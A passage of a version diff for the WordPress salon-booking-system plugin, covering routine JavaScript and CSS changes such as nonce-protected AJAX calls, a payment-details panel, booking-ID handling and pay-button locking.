XNlbGVjdF9fd3JuIHtcblx0XHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRcdFx0XHRmb250LXdlaWdodDogYm9sZDtcblx0XHRcdFx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0XHRcdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfd2FybmluZztcblx0XHRcdFx0ZGlzcGxheTogZ3JpZDtcblx0XHRcdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAwLjg3NXJlbSBhdXRvO1xuXHRcdFx0XHRnYXA6IDAuMnJlbTtcblx0XHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0bGluZS1oZWlnaHQ6IDEuMjtcblx0XHRcdFx0LyogRklYIDA5MjAyM1xuXHRcdFx0XHQmOjpiZWZvcmUge1xuXHRcdFx0XHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDZweCk7XG5cdFx0XHRcdFx0Y29sb3I6IGN1cnJlbnRDb2xvcjtcblx0XHRcdFx0XHRjb250ZW50OiBcIiBcXGYwNmFcIjtcblx0XHRcdFx0XHRiYWNrZmFjZS12aXNpYmlsaXR5OiBoaWRkZW47XG5cdFx0XHRcdFx0b3BhY2l0eTogMTtcblx0XHRcdFx0XHRAZXh0ZW5kICVmb250LWljb247XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDAuMTVzO1xuXHRcdFx0XHR9XG5cdFx0XHRcdEBpbmNsdWRlIGJwKHRhYmxldCkge1xuXHRcdFx0XHR9XG5cdFx0XHRcdCovXG5cdFx0XHR9XG5cdFx0fVxuXHR9XG59XG4vKiBBRE1JTiBCT09LSU5HIERFVEFJTFMgRFJPUERPV04gLy8gRU5EICovXG4vKiBBRE1JTiBCT09LSU5HIERFVEFJTFMgQ1VTVE9NIElDT05TICovXG4vKiBGSVggMDkyMDIzIFxuYm9keTpub3QoLnNsbi1zYWxvbi1wYWdlKVxuXHQjc2xuLXVwZGF0ZS11c2VyLWZpZWxkXG5cdCsgLnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG5cblx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGVcblx0LnNlbGVjdDItc2VsZWN0aW9uX19hcnJvdzpiZWZvcmUge1xuXHRjb250ZW50OiBcIiBcXGYyYjlcIjtcblx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI3cHgpO1xufVxuKi9cbi8qIEFETUlOIEJPT0tJTkcgREVUQUlMUyBDVVNUT00gSUNPTlMgLy8gRU5EICovXG4iXX0= *\u002F\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fcss\u002Fsalon.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fcss\u002Fsalon.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fcss\u002Fsalon.css\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fcss\u002Fsalon.css\t2026-04-21 18:43:56.000000000 +0000\n@@ -10935,6 +10935,29 @@\n   background-color: rgb(245, 245, 245);\n   z-index: 999999;\n }\n+#sln-salon-booking .sln-init-loader {\n+  display: none;\n+  position: absolute;\n+  top: 0;\n+  right: 0;\n+  bottom: 0;\n+  left: 0;\n+  padding: 10%;\n+  background-color: rgb(245, 245, 245);\n+  z-index: 99999;\n+}\n+#sln-salon-booking.sln-is-initializing {\n+  position: relative;\n+  min-height: 12em;\n+}\n+#sln-salon-booking.sln-is-initializing > #sln-salon-booking__content {\n+  opacity: 0;\n+  pointer-events: none;\n+}\n+#sln-salon-booking.sln-is-initializing .sln-init-loader {\n+  display: block;\n+}\n+\n \u002F*\n #sln-salon.sln-step-date #sln-notifications .sln-alert.sln-alert--wait {\n \tposition: absolute;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fadmin\u002FadminServiceEdit.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fadmin\u002FadminServiceEdit.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fadmin\u002FadminServiceEdit.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fadmin\u002FadminServiceEdit.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -30,7 +30,7 @@\n \t\tvar $post_name\t    = $( '.post_name', $post_row ).text();\n \t\tvar $unit\t    = $( '.sln-service-unit', $post_row ).attr('data-value');\n \t\tvar $duration\t    = $( '.service_duration', $post_row ).text();\n-\t\tvar $price\t    = parseFloat($( '.service_price', $post_row ).text());\n+\t\tvar $price\t    = $( '.service_price span[data-price]', $post_row ).data('price') || '';\n \t\tvar $secondary\t    = $( '.secondary', $post_row ).text() === 'YES' ? 1 : 0;\n \n \t\t$('.tags_input', $post_row).each(function(){\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fadmin\u002FcustomBookingUser.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fadmin\u002FcustomBookingUser.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fadmin\u002FcustomBookingUser.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fadmin\u002FcustomBookingUser.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -40,24 +40,29 @@\n \t\t\t\tbooking_id: bookingId,\n \t\t\t\tnonce:      nonce,\n \t\t\t},\n-\t\t\tsuccess: function (resp) {\n-\t\t\t\tvar isSuccess = resp && resp.success;\n-\t\t\t\tvar msg       = (resp && resp.message) ? resp.message : \"An unexpected error occurred.\";\n-\n-\t\t\t\t$result\n-\t\t\t\t\t.addClass(isSuccess ? \"sln-alert sln-alert--success\" : \"sln-alert sln-alert--problem\")\n-\t\t\t\t\t.html(msg)\n-\t\t\t\t\t.show();\n-\n-\t\t\t\tif (resp && resp.status_updated) {\n-\t\t\t\t\t\u002F\u002F Reload the page so the booking status badge reflects the change\n-\t\t\t\t\tsetTimeout(function () {\n-\t\t\t\t\t\twindow.location.reload();\n-\t\t\t\t\t}, 1500);\n-\t\t\t\t} else {\n-\t\t\t\t\t$btn.prop(\"disabled\", false).text(label);\n-\t\t\t\t}\n-\t\t\t},\n+\t\tsuccess: function (resp) {\n+\t\t\tvar isSuccess = resp && resp.success;\n+\t\t\tvar msg       = (resp && resp.message) ? resp.message : \"An unexpected error occurred.\";\n+\n+\t\t\t$result\n+\t\t\t\t.addClass(isSuccess ? \"sln-alert sln-alert--success\" : \"sln-alert sln-alert--problem\")\n+\t\t\t\t.html(msg)\n+\t\t\t\t.show();\n+\n+\t\t\t\u002F\u002F Render rich payment details panel if returned by the server\n+\t\t\tif (resp && resp.payment_details && Object.keys(resp.payment_details).length) {\n+\t\t\t\tslnRenderPaymentDetailsPanel(resp.payment_details, resp.gateway || gateway);\n+\t\t\t}\n+\n+\t\t\tif (resp && resp.status_updated) {\n+\t\t\t\t\u002F\u002F Reload the page so the booking status badge reflects the change\n+\t\t\t\tsetTimeout(function () {\n+\t\t\t\t\twindow.location.reload();\n+\t\t\t\t}, 1500);\n+\t\t\t} else {\n+\t\t\t\t$btn.prop(\"disabled\", false).text(label);\n+\t\t\t}\n+\t\t},\n \t\t\terror: function (xhr, status) {\n \t\t\t\tvar msg = status === \"timeout\"\n \t\t\t\t\t? \"Request timed out. Stripe may be slow — please try again.\"\n@@ -75,6 +80,7 @@\n \t$(document).on(\"change\", 'select[name=\"_sln_booking[discounts][]\"]', function () {\n \t\tsln_calculateTotal();\n \t});\n+\n \t\n \t\u002F\u002F Auto-calculate when services change\n \t$(document).on(\"change\", 'select[name=\"_sln_booking[service][]\"]', function () {\n@@ -2197,3 +2203,81 @@\n \t\t});\n \t});\n })(jQuery);\n+\n+\u002F**\n+ * Render the rich Stripe payment details panel (#sln-payment-details-panel).\n+ * Called after a successful \"Refresh Payment Status\" AJAX response.\n+ *\n+ * @param {Object} details  payment_details object from PHP response\n+ * @param {string} gateway  'stripe' | 'paypal'\n+ *\u002F\n+function slnRenderPaymentDetailsPanel(details, gateway) {\n+\tvar $panel = jQuery(\"#sln-payment-details-panel\");\n+\tif (!$panel.length) return;\n+\n+\tvar walletLabels = {\n+\t\tapple_pay:   \"🍎 Apple Pay\",\n+\t\tgoogle_pay:  \"🤖 Google Pay\",\n+\t\tlink:        \"🔗 Stripe Link\",\n+\t\tsamsung_pay: \"Samsung Pay\"\n+\t};\n+\tvar cardIcons = {\n+\t\tvisa:       \"💳 Visa\",\n+\t\tmastercard: \"💳 Mastercard\",\n+\t\tamex:       \"💳 Amex\",\n+\t\tdiscover:   \"💳 Discover\",\n+\t\tjcb:        \"💳 JCB\",\n+\t\tunionpay:   \"💳 UnionPay\"\n+\t};\n+\n+\tvar rows = [];\n+\n+\tif (details.card_brand) {\n+\t\tvar cardLabel = cardIcons[details.card_brand] || (\"💳 \" + details.card_brand.charAt(0).toUpperCase() + details.card_brand.slice(1));\n+\t\tif (details.card_last4) { cardLabel += \" ****\" + details.card_last4; }\n+\t\trows.push([\"Card\", cardLabel]);\n+\t}\n+\tif (details.wallet_type) {\n+\t\tvar walletLabel = walletLabels[details.wallet_type] ||\n+\t\t\tdetails.wallet_type.replace(\u002F_\u002Fg, \" \").replace(\u002F\\b\\w\u002Fg, function(l) { return l.toUpperCase(); });\n+\t\trows.push([\"Paid via\", walletLabel]);\n+\t}\n+\tif (details.charge_country) {\n+\t\trows.push([\"Card Country\", details.charge_country]);\n+\t}\n+\tif (details.charge_date) {\n+\t\trows.push([\"Charged On\", details.charge_date]);\n+\t}\n+\tif (typeof details.refunded !== \"undefined\") {\n+\t\tvar refundLabel;\n+\t\tif (details.refunded) {\n+\t\t\trefundLabel = details.amount_refunded\n+\t\t\t\t? \"\u003Cspan style='color:#dc3232;font-weight:600;'>Refunded (\" + (details.amount_refunded \u002F 100).toFixed(2) + \")\u003C\u002Fspan>\"\n+\t\t\t\t: \"\u003Cspan style='color:#dc3232;font-weight:600;'>Refunded\u003C\u002Fspan>\";\n+\t\t} else {\n+\t\t\trefundLabel = \"\u003Cspan style='color:#46b450;font-weight:600;'>None\u003C\u002Fspan>\";\n+\t\t}\n+\t\trows.push([\"Refund\", refundLabel]);\n+\t}\n+\tif (details.receipt_url) {\n+\t\trows.push([\"Receipt\", \"\u003Ca href='\" + details.receipt_url + \"' target='_blank' style='font-size:12px;'>View Receipt ↗\u003C\u002Fa>\"]);\n+\t}\n+\n+\tif (!rows.length) { return; }\n+\n+\tvar gridItems = rows.map(function(row) {\n+\t\treturn \"\u003Cdiv style='min-width:150px;'>\" +\n+\t\t\t\"\u003Cdiv style='color:#999;font-size:11px;text-transform:uppercase;letter-spacing:.4px;'>\" + row[0] + \"\u003C\u002Fdiv>\" +\n+\t\t\t\"\u003Cdiv style='font-weight:600;margin-top:2px;'>\" + row[1] + \"\u003C\u002Fdiv>\" +\n+\t\t\t\"\u003C\u002Fdiv>\";\n+\t}).join(\"\");\n+\n+\t$panel.html(\n+\t\t\"\u003Cdiv style='border:1px solid #e0e0e0;border-radius:6px;padding:14px 16px;background:#fafafa;font-size:13px;'>\" +\n+\t\t\t\"\u003Cstrong style='font-size:12px;text-transform:uppercase;letter-spacing:.5px;color:#666;'>Payment Details\u003C\u002Fstrong>\" +\n+\t\t\t\"\u003Cdiv style='display:grid;grid-template-columns:repeat(auto-fill,minmax(170px,1fr));gap:10px;margin-top:10px;'>\" +\n+\t\t\tgridItems +\n+\t\t\t\"\u003C\u002Fdiv>\" +\n+\t\t\"\u003C\u002Fdiv>\"\n+\t).show();\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fcalendar.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fcalendar.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fcalendar.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fcalendar.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -1116,8 +1116,13 @@\n \n     $(\".sln-btn--icon.sln-icon--close.custom\").on(\"click\", function () {\n       $.ajax({\n-        url: salon.ajax_url + \"&action=salon&method=RemoveNotice\",\n+        url: salon.ajax_url,\n         type: \"POST\",\n+        data: {\n+          action: \"salon\",\n+          method: \"RemoveNotice\",\n+          security: salon.ajax_nonce,\n+        },\n         success: function ($data) {\n           $(\".row.notice_custom\").remove();\n         },\n@@ -2075,11 +2080,14 @@\n         var eventItem = $(event.target).closest(\".event-item\");\n         var bookingId = eventItem.data(\"event-id\");\n         $.ajax({\n-          url:\n-            salon.ajax_url +\n-            \"&action=salon&method=SetBookingOnProcess&id=\" +\n-            bookingId,\n+          url: salon.ajax_url,\n           type: \"POST\",\n+          data: {\n+            action: \"salon\",\n+            method: \"SetBookingOnProcess\",\n+            id: bookingId,\n+            security: salon.ajax_nonce,\n+          },\n           success: function ($data) {\n             var iconCheckmark = $(\n               '.event-item[data-event-id=\"' +\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fdiscount: admin-discount-list.js\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fdiscount\u002Fsalon-discount.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fdiscount\u002Fsalon-discount.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fdiscount\u002Fsalon-discount.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fdiscount\u002Fsalon-discount.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -63,6 +63,13 @@\n         data += \"&sln_client_id=\" + encodeURIComponent(clientId);\n     }\n \n+    \u002F\u002F Send the booking ID so the server always applies the discount to the\n+    \u002F\u002F correct booking, not a stale one from the session\u002Ftransient.\n+    var bookingId = $('input[name=\"sln_booking_id\"]').val();\n+    if (bookingId) {\n+        data += \"&sln_booking_id=\" + encodeURIComponent(bookingId);\n+    }\n+\n     $.ajax({\n         url: salon.ajax_url,\n         data: data,\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fsalon.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fsalon.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fsalon.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fsalon.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -513,11 +513,17 @@\n         const button = $(this);\n         const form = button.closest(\"form\");\n \n+        \u002F\u002F Lock the button immediately so the user cannot trigger a second payment\n+        \u002F\u002F request while the overbooking check or sln_loadStep AJAX is in-flight.\n+        button.addClass('sln-pay-btn--loading');\n+\n         \u002F\u002F Validate overbooking on \"Pay later\" (or similar) button click\n         if (button.attr('href').includes('submit_summary=next')) {\n             const isBookingValid = await sln_checkOverbooking(this);\n \n             if (!isBookingValid) {\n+                \u002F\u002F Overbooking: restore the button before alerting so the user can act.\n+                button.removeClass('sln-pay-btn--loading');\n                 alert(salon.txt_overbooking);\n                 location.reload();\n                 return false;\n@@ -551,6 +557,11 @@\n \n         const button = $(this);\n \n+        \u002F\u002F Lock the button immediately so the user cannot click it again while the\n+        \u002F\u002F overbooking check is in-flight and while the browser navigates to the\n+        \u002F\u002F payment gateway. The spinner is added via the CSS ::after pseudo-element.\n+        button.addClass('sln-pay-btn--loading');\n+\n         \u002F\u002F build data for check, including assistant\n         const form = button.closest('form');\n         let checkData = {};\n@@ -587,6 +598,7 @@\n                 if (checkData['sln[attendant]'] && !href.includes('sln[attendant]')) {\n                     href += '&sln[attendant]=' + checkData['sln[attendant]'];\n                 }\n+                \u002F\u002F Button stays locked — page is navigating to the payment gateway.\n                 window.location = href;\n             } else {\n                 if (urlParams.has('pay_remaining_amount')) {\n@@ -596,12 +608,16 @@\n                     }\n                     window.location = href;\n                 } else {\n+                    \u002F\u002F Overbooking: restore the button so the user can act on the alert.\n+                    button.removeClass('sln-pay-btn--loading');\n                     alert(salon.txt_overbooking);\n                     location.reload();\n                 }\n \n             }\n         } catch (error) {\n+            \u002F\u002F Network\u002Fserver error: restore the button so the user can retry.\n+            button.removeClass('sln-pay-btn--loading');\n             console.error('Overbooking check error:', error);\n             alert('Error checking availability');\n         }\n@@ -1325,6 +1341,9 @@\n             },\n         });\n     }\n+    \u002F\u002F Reveal the form once all synchronous JS initialization is complete.\n+    \u002F\u002F This removes the init loader overlay added by PHP to prevent FOUC.\n+    $(\"#sln-salon-booking\").removeClass(\"sln-is-initializing\");\n }\n \u002F**\n  * Get reCAPTCHA token for bot protection\n@@ -1802,8 +1821,22 @@\n     \u002F\u002F Guard to avoid infinite auto-retry loops when intervals contain dates\n     \u002F\u002F but no time slots for the current date.\n     var autoRetryEmptyTimes = false;\n+    \u002F\u002F Suppresses loading indicators on the very first validateImmediate() call\n+    \u002F\u002F (the silent background refresh on step init). All subsequent calls —\n+    \u002F\u002F triggered by the user tapping a date — show the full loading UI.\n+    var isInitialLoad = true;\n \n     function validate(obj, autosubmit) {\n+        \u002F\u002F Apply the loading overlay immediately on every user-triggered call so\n+        \u002F\u002F the calendar is grayed out the instant the day is clicked. Without\n+        \u002F\u002F this, the datetimepicker library rebuilds its HTML on click (erasing\n+        \u002F\u002F all custom \"disabled\" classes), and the re-application of disabled\n+        \u002F\u002F states via func() only happens ~200 ms later — causing a visible\n+        \u002F\u002F flash where all dates briefly appear available.\n+        \u002F\u002F Skip on the very first (silent background) load.\n+        if (!isInitialLoad) {\n+            $(\".datetimepicker.sln-datetimepicker\").addClass(\"sln-calendar-loading\");\n+        }\n         \u002F\u002F Debounce: cancel any pending call and wait 400 ms of inactivity\n         \u002F\u002F before actually firing the request. This collapses rapid date\n         \u002F\u002F changes (e.g. browsing Mon → Tue → Wed) into a single AJAX call.\n@@ -1822,6 +1855,11 @@\n             validateXhr.abort();\n         }\n \n+        \u002F\u002F Capture and immediately reset the flag so that any subsequent call\n+        \u002F\u002F (user date change, auto-retry for empty times) gets the full loading UI.\n+        var silentLoad = isInitialLoad;\n+        isInitialLoad = false;\n+\n         var form = $(obj).closest(\"form\");\n         var validatingMessage =\n             '\u003Cdiv class=\"sln-alert sln-alert--wait\">' +\n@@ -1838,28 +1876,30 @@\n         \n         data += \"&action=salon&method=checkDate&security=\" + salon.ajax_nonce;\n         \n-        \u002F\u002F Prevent flickering: Add loading class to make all dates look unavailable during AJAX\n-        $(\".datetimepicker.sln-datetimepicker\").addClass(\"sln-calendar-loading\");\n-        \n-        \u002F\u002F UX improvement: Show progress bar in time slots box during validation\n-        var timeSlotBox = $(\".datetimepicker-minutes table tr td\");\n-        if (timeSlotBox.length) {\n-            timeSlotBox.html('\u003Cdiv class=\"sln-loader\">' + salon.txt_validating + '\u003C\u002Fdiv>');\n+        if (!silentLoad) {\n+            \u002F\u002F Prevent flickering: Add loading class to make all dates look unavailable during AJAX\n+            $(\".datetimepicker.sln-datetimepicker\").addClass(\"sln-calendar-loading\");\n+            \n+            \u002F\u002F UX improvement: Show progress bar in time slots box during validation\n+            var timeSlotBox = $(\".datetimepicker-minutes table tr td\");\n+            if (timeSlotBox.length) {\n+                timeSlotBox.html('\u003Cdiv class=\"sln-loader\">' + salon.txt_validating + '\u003C\u002Fdiv>');\n+            }\n+            \n+            \u002F\u002F UX improvement: Disable submit button during validation (no spinner)\n+            $(\"#sln-step-submit\")\n+                .attr(\"disabled\", true)\n+                .parent()\n+                .addClass(\"sln-btn--disabled\");\n+            \n+            $(\"#sln-notifications\")\n+                .addClass(\"sln-notifications--active\")\n+                .append(validatingMessage);\n+            $(\"#sln-debug-notifications\")\n+                .addClass(\"sln-notifications--active\")\n+                .html(validatingMessage);\n+            $(\"#sln-debug-div\").css(\"overflow-y\", \"hidden\").scrollTop(0);\n         }\n-        \n-        \u002F\u002F UX improvement: Disable submit button during validation (no spinner)\n-        $(\"#sln-step-submit\")\n-            .attr(\"disabled\", true)\n-            .parent()\n-            .addClass(\"sln-btn--disabled\");\n-        \n-        $(\"#sln-notifications\")\n-            .addClass(\"sln-notifications--active\")\n-            .append(validatingMessage);\n-        $(\"#sln-debug-notifications\")\n-            .addClass(\"sln-notifications--active\")\n-            .html(validatingMessage);\n-        $(\"#sln-debug-div\").css(\"overflow-y\", \"hidden\").scrollTop(0);\n \n         validateXhr = $.ajax({\n             url: salon.ajax_url,\n@@ -3255,6 +3295,13 @@\n         data.sln_client_id = salon.client_id;\n     }\n \n+    \u002F\u002F Always pass the booking ID from the form — prevents ApplyTipsAmount from\n+    \u002F\u002F picking up a stale booking via the session\u002Ftransient when they are out of sync.\n+    var bookingId = $('input[name=\"sln_booking_id\"]').val();\n+    if (bookingId) {\n+        data.sln_booking_id = bookingId;\n+    }\n+\n     $.ajax({\n         url: salon.ajax_url,\n         data: data,\n@@ -3271,30 +3318,20 @@\n                     parseFloat(data.tips.replace(\u002F[^0-9.,]\u002Fg, \"\")) === 0\n                 );\n                 \n-                \u002F\u002F Update total amount in summary section\n-                $(\".sln-summary-row .sln-total-price\").html(data.total);\n+                \u002F\u002F Update total amount in summary section and non-deposit button strong\n+                $(\".sln-total-price\").html(data.total);\n                 \n-                \u002F\u002F Update Pay button amount\n-                \u002F\u002F Two scenarios:\n-                \u002F\u002F 1. Deposit > 0: Button shows deposit amount in \u003Cstrong> (no class)\n-                \u002F\u002F 2. Deposit = 0: Button shows total amount in \u003Cstrong class=\"sln-total-price\">\n+                \u002F\u002F Update Pay button amount.\n+                \u002F\u002F Deposit button: \u003Cstrong>£X\u003C\u002Fstrong> (no class) inside .sln-btn__info\n+                \u002F\u002F No-deposit button: \u003Cstrong class=\"sln-total-price\">£X\u003C\u002Fstrong> — already updated above.\n                 if (data.deposit) {\n-                    var depositValue = parseFloat(data.deposit.replace(\u002F[^0-9.,]\u002Fg, \"\"));\n-                    \n-                    if (depositValue > 0) {\n-                        \u002F\u002F Deposit mode: update the deposit amount (strong without class)\n-                        var $depositButton = $(\".sln-btn--nextstep .sln-btn__info strong:not(.sln-total-price)\");\n-                        if ($depositButton.length) {\n-                            $depositButton.html(data.deposit);\n+                    var depositNum = parseFloat(data.deposit.replace(\u002F[^0-9.,]\u002Fg, \"\"));\n+                    if (depositNum > 0) {\n+                        var $depositBtn = $(\".sln-btn--nextstep .sln-btn__info strong:not(.sln-total-price)\");\n+                        if ($depositBtn.length) {\n+                            $depositBtn.html(data.deposit);\n                             console.log('[Tips] Updated deposit button to:', data.deposit);\n                         }\n-                    } else {\n-                        \u002F\u002F No deposit mode: update the total amount (strong.sln-total-price in button)\n-                        var $totalButton = $(\".sln-btn--nextstep .sln-btn__info strong.sln-total-price\");\n-                        if ($totalButton.length) {\n-                            $totalButton.html(data.total);\n-                            console.log('[Tips] Updated total button to:', data.total);\n-                        }\n                     }\n                 }\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fsalon-my-account.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fsalon-my-account.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fsalon-my-account.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fsalon-my-account.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -407,6 +407,25 @@\n                 if (typeof response.redirect != \"undefined\") {\n                   window.location.href = response.redirect;\n                 }\n+                if (\n+                  response.success === false &&\n+                  response.errors &&\n+                  response.errors.length\n+                ) {\n+                  var alertBox = jQuery(\n+                    '\u003Cdiv class=\"sln-alert sln-alert--problem\">\u003C\u002Fdiv>',\n+                  );\n+                  jQuery.each(response.errors, function (i, msg) {\n+                    alertBox.append(jQuery(\"\u003Cp>\u003C\u002Fp>\").html(msg));\n+                  });\n+                  jQuery(self)\n+                    .closest(\".sln-reschedule-form\")\n+                    .find(\".sln-notifications\")\n+                    .addClass(\"sln-notifications--active\")\n+                    .html(\"\")\n+                    .append(alertBox);\n+                  return;\n+                }\n                 let date_string = response.booking_date;\n                 let date_time = response.booking_time;\n                 jQuery(self)\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fsalon-time-filter.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fsalon-time-filter.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fjs\u002Fsalon-time-filter.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fjs\u002Fsalon-time-filter.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -399,9 +399,11 @@\n                             self.filterPastTimeSlots();\n                         }\n                         \n-                        \u002F\u002F FIX RISCHIO #2: Refresh dates if more than 2 minutes since last refresh\n-                        \u002F\u002F (Tab was in background for significant time)\n-                        if (timeSinceDatesRefresh > 120000) {\n+                        \u002F\u002F Refresh dates only when the tab has been hidden longer than the\n+                        \u002F\u002F regular datesRefreshInterval (default 5 min). This prevents the\n+                        \u002F\u002F visibility event from stacking on top of the periodic timer and\n+                        \u002F\u002F firing a redundant AJAX call when the user briefly switches tabs.\n+                        if (timeSinceDatesRefresh > self.config.datesRefreshInterval) {\n                             self.log('Tab became visible after long absence, refreshing dates');\n                             self.refreshAvailableDates();\n                         }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Flanguages\u002Fsalon-booking-system.pot \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Flanguages\u002Fsalon-booking-system.pot\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Flanguages\u002Fsalon-booking-system.pot\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Flanguages\u002Fsalon-booking-system.pot\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,7974 +1,21575 @@\n # Copyright (C) 2025 